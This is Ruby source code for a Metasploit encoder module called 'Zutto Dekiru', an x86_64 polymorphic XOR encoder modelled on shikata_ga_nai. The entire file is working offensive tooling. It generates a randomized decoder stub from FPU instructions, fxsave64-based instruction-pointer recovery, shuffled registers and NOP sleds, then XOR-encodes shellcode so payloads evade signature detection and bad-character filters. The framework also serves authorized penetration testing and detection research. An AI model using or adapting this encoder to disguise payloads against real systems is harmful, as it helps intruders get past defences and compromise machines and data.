require 'metasm' require 'msf/core' require 'rex/nop/opty2' class MetasploitModule < Msf::Encoder::Xor Rank = ManualRanking def initialize super( 'Name' => 'Zutto Dekiru', 'Version' => '$Revision: 14774 $', 'Description' => 'Inspired by shikata_ga_nai using fxsave64 to work under x86_64 systems.', 'Author' => 'agix', 'Arch' => ARCH_X86_64, 'License' => MSF_LICENSE, 'EncoderType' => Msf::Encoder::Type::Raw, 'Decoder' => { 'KeySize' => 8, 'KeyPack' => 'Q<' } ) end @@cpu64 = Metasm::X86_64.new def assemble(src, cpu=@@cpu64) Metasm::Shellcode.assemble(cpu, src).encode_string end def fxsave64(reg) case reg when "rax" return "\x48\x0f\xae\x00" when "rbx" return "\x48\x0f\xae\x03" when "rcx" return "\x48\x0f\xae\x01" when "rdx" return "\x48\x0f\xae\x02" when "rsi" return "\x48\x0f\xae\x06" when "rdi" return "\x48\x0f\xae\x07" when "rbp" return "\x48\x0f\xae\x45\x00" when "r8" return "\x49\x0f\xae\x00" when "r9" return "\x49\x0f\xae\x01" when "r10" return "\x49\x0f\xae\x02" when "r11" return "\x49\x0f\xae\x03" when "r12" return "\x49\x0f\xae\x04\x24" when "r13" return "\x49\x0f\xae\x45\x00" when "r14" return "\x49\x0f\xae\x06" when "r15" return "\x49\x0f\xae\x07" end end def nop(length,save_registers=[]) test = Rex::Nop::Opty2.new('',save_registers) return test.generate_sled(length) end # Indicate that this module can preserve some registers def can_preserve_registers? true end # # Returns the set of FPU instructions that can be used for the FPU block of # the decoder stub. # def fpu_instructions fpus = [] 0xe8.upto(0xee) { |x| fpus << "\xd9" + x.chr } 0xc0.upto(0xcf) { |x| fpus << "\xd9" + x.chr } 0xc0.upto(0xdf) { |x| fpus << "\xda" + x.chr } 0xc0.upto(0xdf) { |x| fpus << "\xdb" + x.chr } 0xc0.upto(0xc7) { |x| fpus << "\xdd" + x.chr } fpus << "\xd9\xd0" fpus << "\xd9\xe1" fpus << "\xd9\xf6" fpus << "\xd9\xf7" fpus << "\xd9\xe5" # This FPU instruction seems to fail consistently on Linux #fpus << "\xdb\xe1" fpus end def rand_string(length) o = [('0'..'9'),('a'..'z'),('A'..'Z')].map{|i| i.to_a}.flatten; string = (0..(length-1)).map{ o[rand(o.length)] }.join; return string end def xor_string(text,key) text.length.times {|n| text[n] = (text[n].ord^key[n.modulo(key.length)].ord).chr } return text end def ordered_random_merge(a,b) a, b = a.dup, b.dup a.map{rand(b.size+1)}.sort.reverse.each do |index| b.insert(index, a.pop) end b end def encode_block(state, block) allowed_reg = [ ["rax", "eax", "ax", "al" ], ["rbx", "ebx", "bx", "bl" ], ["rcx", "ecx", "cx", "cl" ], ["rdx", "edx", "dx", "dl" ], ["rsi", "esi", "si", "sil" ], ["rdi", "edi", "di", "dil" ], ["rbp", "ebp", "bp", "bpl" ], ["r8", "r8d", "r8w", "r8b" ], ["r9", "r9d", "r9w", "r9b" ], ["r10", "r10d", "r10w", "r10b"], ["r11", "r11d", "r11w", "r11b"], ["r12", "r12d", "r12w", "r12b"], ["r13", "r13d", "r13w", "r13b"], ["r14", "r14d", "r14w", "r14b"], ["r15", "r15d", "r15w", "r15b"], ] allowed_reg.delete_if { |reg| datastore['SaveRegisters'] && datastore['SaveRegisters'].include?(reg.first) } allowed_reg.shuffle! if block.length%8 != 0 block += nop(8-(block.length%8)) end reg_type = 3 if (block.length/8) > 0xff reg_type = 2 end if (block.length/8) > 0xffff reg_type = 1 end if (block.length/8) > 0xffffffff reg_type = 0 end reg_key = allowed_reg[0][0] reg_size = allowed_reg[3] reg_rip = allowed_reg[1][0] reg_env = allowed_reg[2] flip_coin = rand(2) fpu_opcode = Rex::Poly::LogicalBlock.new('fpu', *fpu_instructions) fpu = [] fpu << ["fpu",fpu_opcode.generate([], nil, state.badchars)] sub = (rand(0xd00)&0xfff0)+0xf000 lea = [] if flip_coin==0 lea << ["lea", assemble("mov %s, rsp"%reg_env[0])] lea << ["lea1", assemble("and "+reg_env[2]+", 0x%x"%sub)] else lea << ["lea", assemble("push rsp")] lea << ["lea1", assemble("pop "+reg_env[0])] lea << ["lea2", assemble("and "+reg_env[2]+", 0x%x"%sub)] end fpu_lea = ordered_random_merge(fpu, lea) fpu_lea << ["fpu1", fxsave64(reg_env[0])] # fxsave64 doesn't seem to exist in metasm key_ins = [["key", assemble("mov "+reg_key+", 0x%x"%state.key)]] size = [] size << ["size", assemble("xor "+reg_size[0]+", "+reg_size[0])] size << ["size", assemble("mov "+reg_size[reg_type]+", 0x%x"% (block.length/8))] getrip=0 a = ordered_random_merge(size, key_ins) decode_head_tab = ordered_random_merge(a, fpu_lea) decode_head_tab.length.times { |i| getrip = i if decode_head_tab[i][0] == "fpu"} decode_head = decode_head_tab.map { |j,i| i.to_s }.join flip_coin = rand(2) if flip_coin==0 decode_head += assemble("mov "+reg_rip+", ["+reg_env[0]+" + 0x8]") else decode_head += assemble("add "+reg_env[0]+", 0x8") decode_head += assemble("mov "+reg_rip+", ["+reg_env[0]+"]") end decode_head_size = decode_head.length getrip.times { |i| decode_head_size -= decode_head_tab[i][1].length } loop_code = assemble("dec "+reg_size[0]) loop_code += assemble("xor ["+reg_rip+"+("+reg_size[0]+"*8) + 0x7f], "+reg_key) loop_code += assemble("test "+reg_size[0]+", "+reg_size[0]) payload_offset = decode_head_size+loop_code.length+2 loop_code = assemble("dec "+reg_size[0]) loop_code += assemble("xor ["+reg_rip+"+("+reg_size[0]+"*8) + 0x"+payload_offset.to_s(16)+"], "+reg_key) loop_code += assemble("test "+reg_size[0]+", "+reg_size[0]) jnz = "\x75"+(0x100-(loop_code.length+2)).chr decode = decode_head+loop_code+jnz encode = xor_string(block, [state.key].pack('Q')) return decode + encode end end